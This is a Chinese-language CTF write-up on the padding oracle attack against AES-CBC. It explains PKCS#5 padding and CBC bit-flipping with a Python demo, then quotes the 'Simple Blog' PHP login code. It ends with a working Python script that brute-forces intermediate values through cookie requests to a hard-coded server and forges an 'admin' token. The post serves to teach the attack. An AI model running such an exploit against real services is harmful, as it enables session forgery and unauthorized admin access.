padding oracle攻击思路总结

之前一直没有机会好好总结下padding oracle, 在LCTF 上水了两天,Simple Blog 这题就看了一天,最后还是没有弄出来, 参考了各位大师傅的wp, 赛后好好总结下这个漏洞, 还是很有意思的

Padding Orlace攻击

这是CBC模式下存在的攻击,与具体的加密算法无关(当然,必须是分组加密)。不过,实际上Padding Oracle不能算CBC模式的问题,它的根源在于应用程序对异常的处理反馈到了用户界面(即服务器对解密后数据Padding规则的校验。若不符合Padding规则,则返回500.其它,返回200),是一种边信道攻击方式

CBC是分组密码的一种模式, 在加解密之前都需要先对明文以及密文进行分组,常见分组方式为8bit,16bit, 如果明文不足8bit或16bit, 那么就会对数据进行填充,填充规则是PKCS#5

简单来说,它在数据填充中,使用缺失的位数长度来统一填充。缺5位就用5个0x05填充,缺2位就用2个0x02填充;如果正好为8位,就需要扩展8个0x08填充。具体如下图所示:

padding oracle攻击思路总结_第1张图片

具体填充算法为:

add = length - (count % length)
plaintext = plaintext + ('\0' * add) #填充

对照这上面的图也就大概知道了为什么8bit 必须再次填充8bit了(之前一直不理解)

攻击前提

  1. 初始IV 可控
  2. padding oracle异常错误反馈到了页面

攻击过程

因为padding oracle 攻击是针对cbc模式的,我们先来理解cbc字节翻转攻击是如何实现的

CBC 的加密过程我这里就不多说了,可以看下面参数文章师傅们发的详细的图,大概原理是:

加密过程

Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块

Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块

解密过程:

Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块

Plaintext-N = Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块

攻击点

这里有两个攻击点

  1. 更改iv向量, 影响第一个明文分组
  2. 如果我们更改CiphertextN-1的字节, 其会影响到Ciphertext N块的解密过程, 这个就是cbc比特翻转攻击的原理

我们假设middlecipher 是Ciphertext N块的解密结果,即A = Decrpto(Ciphertext N), old_IV在第一块中的初始化IV, 在第N块中是CipherN-1, evil_IV是我们伪造的恶意IV sourceStr是我们解密后的明文,targetStr是我们希望解密出来的明文

那么由源程序解密的过程为:

middlecipher xor old_IV = sourceStr

但我们希望的解密的过程为:

middlecipher xor evil_IV = targetStr

一般因为key未知,我们不太容易得到middlecipher的内容,我们可以控制的是我们的evil_IV, 我们可以对这两个公式推导下得出

evil_IV = targetStr xor sourceStr xor old_IV

惊奇的发现我们不太容易得到的middlecipher消失了,而我们的sourceStr和targetStr 一般可以在页面中找到(比如登录错误信息位xx不是admin, 无法登录,那么我们就容易猜到xx位sourceStr, admin是我们希望得到的targetStr字符串

这里用一个py的小demo来演示下cbc字节翻转攻击的例子:

#!/usr/bin/env python       
#coding:utf-8


import os
from Crypto.Cipher import AES
from Crypto import Random
from binascii import b2a_hex,a2b_hex

SECRET_EKY = os.urandom(8).encode('hex').upper()


IV = Random.new().read(16)
print SECRET_EKY,list(IV),len(IV)
plaintext = 'hello,Pegasus.X!'
print plaintext

aes = AES.new(SECRET_EKY,AES.MODE_CBC,IV)
length = 16
count = len(plaintext)
add = length - (count % length)
print count,add
plaintext = plaintext + ('\0' * add) #填充
print list(plaintext)
ciphertext = IV + aes.encrypt(plaintext)
print 'IV length',len(IV),'aes encrypto:',len(aes.encrypt(plaintext))
print b2a_hex(ciphertext),list(ciphertext),len(ciphertext)


ciphertext = list(ciphertext)  # list是可变元素,str是不可变元素,通过list,join来互转
ciphertext[10] = chr(ord(IV[10]) ^ ord(plaintext[10]) ^ ord('M'))
ciphertext = ''.join(ciphertext)
print b2a_hex(ciphertext)

IV = ciphertext[:16]
ciphertext = ciphertext[16:]
print 'length cipher:',len(ciphertext)
aes = AES.new(SECRET_EKY,AES.MODE_CBC,IV)
plaintext = aes.decrypt(ciphertext).rstrip('\0')
print plaintext


>>>
FA6208442FCC7D11 ['A', '\xe2', 'd', '\x18', '\x1b', 'C', 'S', 'P', '\xc8', '\r', 'x', 'y', '\x8b', '@', 'F', '\x88'] 16
hello,Pegasus.X!
16 16
['h', 'e', 'l', 'l', 'o', ',', 'P', 'e', 'g', 'a', 's', 'u', 's', '.', 'X', '!', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00']
IV length 16 aes encrypto: 32
41e264181b435350c80d78798b404688f5f552ed456159eb83d2716f323cdc2e07c9be2202fad835967611d106f85c78 ['A', '\xe2', 'd', '\x18', '\x1b', 'C', 'S', 'P', '\xc8', '\r', 'x', 'y', '\x8b', '@', 'F', '\x88', '\xf5', '\xf5', 'R', '\xed', 'E', 'a', 'Y', '\xeb', '\x83', '\xd2', 'q', 'o', '2', '<', '\xdc', '.', '\x07', '\xc9', '\xbe', '"', '\x02', '\xfa', '\xd8', '5', '\x96', 'v', '\x11', '\xd1', '\x06', '\xf8', '\\', 'x'] 48
41e264181b435350c80d46798b404688f5f552ed456159eb83d2716f323cdc2e07c9be2202fad835967611d106f85c78
length cipher: 32
hello,PegaMus.X!

sourceStr为: hello,Pegasus.X!

经过了下面这处理解密出来后

ciphertext[10] = chr(ord(IV[10]) ^ ord(plaintext[10]) ^ ord('M'))

最终解密出来的结果targetStr为: hello,PegaMus.X!

我们成功改变了第10位的内容为M

Padding oracle的攻击思路

Padding oracle 攻击主要用在当cbc模式中sourceStr未知的情况下使用,这个时候我们就无法根据公式来得到我们需要的evil_IV了

Padding oracle的主要过程是通过对padding 的过程中的报错信息来穷举爆破middlecipher

大致过程为:

1. 初始化一个IV位 ['\x00'] * 16,即16个\x00

2. 服务端在解密的时候由于padding 不符合规则而导致报错

3. 接着,我们就可以将IV依次增大,去试探,直到不出现报错信息,则表示我们的padding正确,因为整个异或流程中,Intermediary Value是固定不变的,所以我们最多尝试0xFF次,就肯定能令最后的Padding为0x01

4. 通过上一步,可以得到初始向量的最后一位,和确定的Padding最后一位0x01,那么我们就能推导出中间值的最后一位。

5. 接着,我们就可以碰撞Padding最后两位是0x02 0x02的情况,来得到中间值的最后第二位

6. 以此类推,得到所有的中间值

Simple Blog 题解

login.php 的源码为:




  
  Login Form
  


  


';
}

function get_random_token() {
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for ($i = 0; $i < 16; $i++) {
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}

function get_identity() {
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    var_dump($token);
    if ($id === 'admin') {
        #admin 帐号密码正确
        $_SESSION['isadmin'] = 1;
    } else {
        $_SESSION['isadmin'] = 0;
    }
}

function test_identity() {
    // var_dump($_SESSION);
    // var_dump($_COOKIE);
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        var_dump($_COOKIE["token"]);
        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)) {
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        } else {
            die("xx Error!");
        }
    }
    return 0;
}

if (isset($_GET['reset'])) {
    get_identity();
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if ($row['password'] === md5($password)) {
        get_identity();
        header('location: ./admin.php');
    } else {
        die('Login failed.');
    }
} else {
    echo 'test_identity';
    if (test_identity()) {
        header('location: ./admin.php');
    } else {
        show_page();
    }
}
?>

因为这里sourceStr没有给出来,因此我们需要利用padding oracle去得到middlecipher即最后一个密文解密后的中间值

上代码:

#!/usr/bin/env python       
#coding:utf-8
__author__ = 'Rivir'

import requests

url = 'http://111.231.111.54/login.php'


old_iv = 'emd0V21mWkhuUm9QbEVYQg=='
targetStr = 'admin'+'\x0b'*11

def access(token):
    headers = {'Cookie':'PHPSESSID=j09fpaetmu0hncfh0umqfc4o22; token=%s'%''.join(token).encode('base64').strip()}
    res = requests.get(url,headers=headers)
    #print headers,res.content
    if 'Error' in res.content:
        return False
    else:
        return True


def padding_oracle():
    middle = []
    IV = ['\x00'] * 16
    for i in range(16):
        for j in range(256):
            IV[15-i] = chr(j)
            #print IV
            if access(IV):
                middle += [ord(IV[15-i]) ^ (i+1)]
                print middle,IV
                for k in range(len(middle)):
                    IV[15-k] = chr(middle[k] ^ (i+2))
                break
            
    return middle


def getFlag(middle):
    eviltoken = []
    for i in range(256):
        middle[15]=i
        for i in range(len(targetStr)):
            eviltoken.append(chr(middle[::-1][i] ^ ord(targetStr[i])))
            
        #print 'token:',eviltoken,'middle',middle[::-1]
        headers = {'Cookie':'PHPSESSID=j09fpaetmu0hncfh0umqfc4o22; token=%s'%''.join(eviltoken).encode('base64').strip()}
        res = requests.get(url,headers=headers)
        #print res.content
        if 'admin' in res.content:
            print res.content 
            print 'token:',''.join(eviltoken).encode('base64').strip()
            break

        eviltoken = []





if __name__ == '__main__':
    #middle = padding_oracle()
    middle = [91, 103, 68, 34, 40, 18, 126, 68, 34, 62, 28, 1, 123, 0, 11,0] # 只能爆出15位,在后面加个0
    getFlag(middle)

一个有意思的情况是在python下写的那个demo用的Pycrypto库的Crypto.cipher,用aes加密16位的明文得到32位的密文, 而在php下用openssl_encrypt()函数加密16位的明文得到的还是16位的密文, 不知道这会不会影响到python下解密时的分组

参考:

http://momomoxiaoxi.com/2016/12/08/WebCrypt/

http://www.jianshu.com/p/ad8bdd87e131

你可能感兴趣的:(padding oracle攻击思路总结)